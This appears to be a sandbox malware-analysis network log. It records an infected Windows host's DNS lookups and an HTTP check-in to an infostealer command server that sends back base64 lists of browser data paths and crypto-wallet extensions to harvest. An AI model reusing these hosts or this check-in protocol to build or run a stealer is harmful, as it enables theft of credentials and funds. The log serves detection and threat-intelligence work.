Sep 30, 2024 12:23:00.995636940 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.995712042 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995723009 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995733023 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995743990 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995754957 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995760918 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.995764971 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995774984 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995778084 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.995784998 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995795012 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995796919 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.995812893 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.995829105 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.995865107 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995874882 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995884895 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995894909 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995904922 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.995906115 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995917082 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995927095 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995929956 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.995938063 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.995944977 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.995971918 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.996417999 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.996428967 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.996439934 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.996473074 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.996486902 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.996490955 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.996501923 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.996511936 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.996522903 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.996530056 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.996562958 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.996654034 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.996665955 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.996675968 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.996686935 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.996690035 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.996697903 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.996707916 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.996715069 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.996718884 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.996730089 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.996741056 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.996742964 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.996761084 CEST	52545	80	192.168.2.4	147.45.44.104
Sep 30, 2024 12:23:00.996776104 CEST	80	52545	147.45.44.104	192.168.2.4
Sep 30, 2024 12:23:00.996783972 CEST	52545	80	192.168.2.4	147.45.44.104

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 30, 2024 12:22:21.374239922 CEST	192.168.2.4	1.1.1.1	0xfe1a	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:22.653733969 CEST	192.168.2.4	1.1.1.1	0x8495	Standard query (0)	urusvisa.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:42.093619108 CEST	192.168.2.4	1.1.1.1	0x90ca	Standard query (0)	files.veritas.org.ng	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:43.099453926 CEST	192.168.2.4	1.1.1.1	0x90ca	Standard query (0)	files.veritas.org.ng	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:45.301413059 CEST	192.168.2.4	1.1.1.1	0x62a2	Standard query (0)	possiwreeste.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:46.279145956 CEST	192.168.2.4	1.1.1.1	0x3143	Standard query (0)	famikyjdiag.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:47.367774010 CEST	192.168.2.4	1.1.1.1	0xde7b	Standard query (0)	commandejorsk.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:47.389951944 CEST	192.168.2.4	1.1.1.1	0xd9d8	Standard query (0)	underlinemdsj.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:48.354011059 CEST	192.168.2.4	1.1.1.1	0x5bdf	Standard query (0)	bellykmrebk.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:48.371223927 CEST	192.168.2.4	1.1.1.1	0x4673	Standard query (0)	agentyanlark.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:48.382766008 CEST	192.168.2.4	1.1.1.1	0x7e9	Standard query (0)	writekdmsnu.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:48.393738031 CEST	192.168.2.4	1.1.1.1	0x2c01	Standard query (0)	delaylacedmn.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:48.404990911 CEST	192.168.2.4	1.1.1.1	0x3e2	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:49.297758102 CEST	192.168.2.4	1.1.1.1	0x39c4	Standard query (0)	cowod.hopto.org	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:23:05.487601995 CEST	192.168.2.4	1.1.1.1	0x87c3	Standard query (0)	famikyjdiag.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:23:06.776843071 CEST	192.168.2.4	1.1.1.1	0xf2a7	Standard query (0)	commandejorsk.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:23:07.732932091 CEST	192.168.2.4	1.1.1.1	0xa4a1	Standard query (0)	bellykmrebk.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:23:07.763111115 CEST	192.168.2.4	1.1.1.1	0x5f58	Standard query (0)	agentyanlark.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:23:07.776102066 CEST	192.168.2.4	1.1.1.1	0x8614	Standard query (0)	writekdmsnu.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:23:07.787573099 CEST	192.168.2.4	1.1.1.1	0x1fc	Standard query (0)	delaylacedmn.site	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:23:07.812699080 CEST	192.168.2.4	1.1.1.1	0x421e	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 30, 2024 12:22:21.381840944 CEST	1.1.1.1	192.168.2.4	0xfe1a	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:22.712460995 CEST	1.1.1.1	192.168.2.4	0x8495	No error (0)	urusvisa.com		5.42.101.62	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:43.638401985 CEST	1.1.1.1	192.168.2.4	0x90ca	No error (0)	files.veritas.org.ng		147.45.44.104	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:43.638472080 CEST	1.1.1.1	192.168.2.4	0x90ca	No error (0)	files.veritas.org.ng		147.45.44.104	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:45.326946974 CEST	1.1.1.1	192.168.2.4	0x62a2	No error (0)	possiwreeste.site		172.67.205.129	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:45.326946974 CEST	1.1.1.1	192.168.2.4	0x62a2	No error (0)	possiwreeste.site		104.21.22.157	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:46.294326067 CEST	1.1.1.1	192.168.2.4	0x3143	Name error (3)	famikyjdiag.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:47.383737087 CEST	1.1.1.1	192.168.2.4	0xde7b	Name error (3)	commandejorsk.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:47.412609100 CEST	1.1.1.1	192.168.2.4	0xd9d8	No error (0)	underlinemdsj.site		104.21.1.169	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:47.412609100 CEST	1.1.1.1	192.168.2.4	0xd9d8	No error (0)	underlinemdsj.site		172.67.129.166	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:48.363477945 CEST	1.1.1.1	192.168.2.4	0x5bdf	Name error (3)	bellykmrebk.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:48.380830050 CEST	1.1.1.1	192.168.2.4	0x4673	Name error (3)	agentyanlark.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:48.392518044 CEST	1.1.1.1	192.168.2.4	0x7e9	Name error (3)	writekdmsnu.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:48.403510094 CEST	1.1.1.1	192.168.2.4	0x2c01	Name error (3)	delaylacedmn.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:48.412020922 CEST	1.1.1.1	192.168.2.4	0x3e2	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:22:49.308871031 CEST	1.1.1.1	192.168.2.4	0x39c4	No error (0)	cowod.hopto.org		45.132.206.251	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:23:05.498426914 CEST	1.1.1.1	192.168.2.4	0x87c3	Name error (3)	famikyjdiag.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:23:06.787421942 CEST	1.1.1.1	192.168.2.4	0xf2a7	Name error (3)	commandejorsk.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:23:07.761322975 CEST	1.1.1.1	192.168.2.4	0xa4a1	Name error (3)	bellykmrebk.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:23:07.772660971 CEST	1.1.1.1	192.168.2.4	0x5f58	Name error (3)	agentyanlark.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:23:07.785372019 CEST	1.1.1.1	192.168.2.4	0x8614	Name error (3)	writekdmsnu.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:23:07.811110973 CEST	1.1.1.1	192.168.2.4	0x1fc	Name error (3)	delaylacedmn.site	none	none	A (IP address)	IN (0x0001)	false
Sep 30, 2024 12:23:07.820147991 CEST	1.1.1.1	192.168.2.4	0x421e	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	52534	5.42.101.62	80	7376	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 12:22:22.732340097 CEST	87	OUT	GET / HTTP/1.1 Host: urusvisa.com Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:22:23.629369974 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Sep 30, 2024 12:22:23.636784077 CEST	434	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKEBFCFIJJKKECAKJEH Host: urusvisa.com Content-Length: 255 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 45 39 43 38 36 45 42 46 37 43 38 34 36 35 38 35 34 32 32 34 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------CAKEBFCFIJJKKECAKJEHContent-Disposition: form-data; name="hwid"DE9C86EBF7C8465854224-a33c7340-61ca------CAKEBFCFIJJKKECAKJEHContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------CAKEBFCFIJJKKECAKJEH--
Sep 30, 2024 12:22:24.177369118 CEST	232	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|d04f6941ce0954c5949e598ad034dd24\|1\|1\|1\|0\|0\|50000\|10
Sep 30, 2024 12:22:24.178776026 CEST	510	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEBGHCFCAAFIECAFIII Host: urusvisa.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 2d 2d 0d 0a Data Ascii: ------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; name="mode"1------BAEBGHCFCAAFIECAFIII--
Sep 30, 2024 12:22:24.723959923 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 5a 70 64 6d 46 73 5a 47 6c 38 58 46 5a 70 64 6d 46 73 5a 47 6c 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 44 62 32 31 76 5a 47 38 67 52 48 4a 68 5a 32 39 75 66 46 78 44 62 [TRUNCATED] Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfFZpdmFsZGl8XFZpdmFsZGlcVXNlciBEYXRhfGNocm9tZXxDb21vZG8gRHJhZ29ufFxDb21vZG9cRHJhZ29uXFVzZXIgRGF0YXxjaHJvbWV8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxCcmF2ZXxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZXxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBDYW5hcnl8XE1pY3Jvc29mdFxFZGdlIFN4U1xVc2VyIERhdGF8Y2hyb21lfE1pY3Jvc29mdCBFZGdlIEJldGF8XE1pY3Jvc29mdFxFZGdlIEJldGFcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBEZXZ8XE1pY3Jvc29mdFxFZGdlIERldlxVc2V [TRUNCATED]
Sep 30, 2024 12:22:24.723977089 CEST	491	IN	Data Raw: 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 52 55 55 4a 79 62 33 64 7a 5a 58 4a 38 58 46 52 6c 62 6d 4e 6c 62 6e 52 63 55 56 46 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 Data Ascii: VXNlciBEYXRhfGNocm9tZXxRUUJyb3dzZXJ8XFRlbmNlbnRcUVFCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q3J5cHRvVGFiIEJyb3dzZXJ8XENyeXB0b1RhYiBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8T3BlcmF8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfE9wZXJhIEdYfFxPcGVyYSBTb2Z0d2FyZXxvcGVyYXxPcGVyYSB
Sep 30, 2024 12:22:24.725373030 CEST	510	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKKFHIEGDHJKECAAKKE Host: urusvisa.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 34 66 36 39 34 31 63 65 30 39 35 34 63 35 39 34 39 65 35 39 38 61 64 30 33 34 64 64 32 34 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 31 32 64 39 36 32 61 30 62 34 31 37 36 61 30 63 31 39 63 34 65 36 31 63 35 33 62 64 32 30 62 35 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 2d 2d 0d 0a Data Ascii: ------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="token"d04f6941ce0954c5949e598ad034dd24------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="build_id"12d962a0b4176a0c19c4e61c53bd20b5------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="mode"2------DBKKFHIEGDHJKECAAKKE--
Sep 30, 2024 12:22:25.259346962 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:22:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcnJhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Sep 30, 2024 12:22:25.259371042 CEST	224	IN	Data Raw: 6b 63 47 52 74 61 32 46 68 61 32 56 71 62 6d 68 68 5a 58 77 78 66 44 42 38 4d 48 78 51 62 32 78 35 62 57 56 7a 61 46 64 68 62 47 78 6c 64 48 77 78 66 47 70 76 61 6d 68 6d 5a 57 39 6c 5a 47 74 77 61 32 64 73 59 6d 5a 70 62 57 52 6d 59 57 4a 77 5a Data Ascii: kcGRta2Fha2VqbmhhZXwxfDB8MHxQb2x5bWVzaFdhbGxldHwxfGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHwxfGZscGljaWlsZW1naGJtZmFsaWNham9vbGhra2VuZmVsfDF8MHwwfENvaW45OHwxfGFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfDF
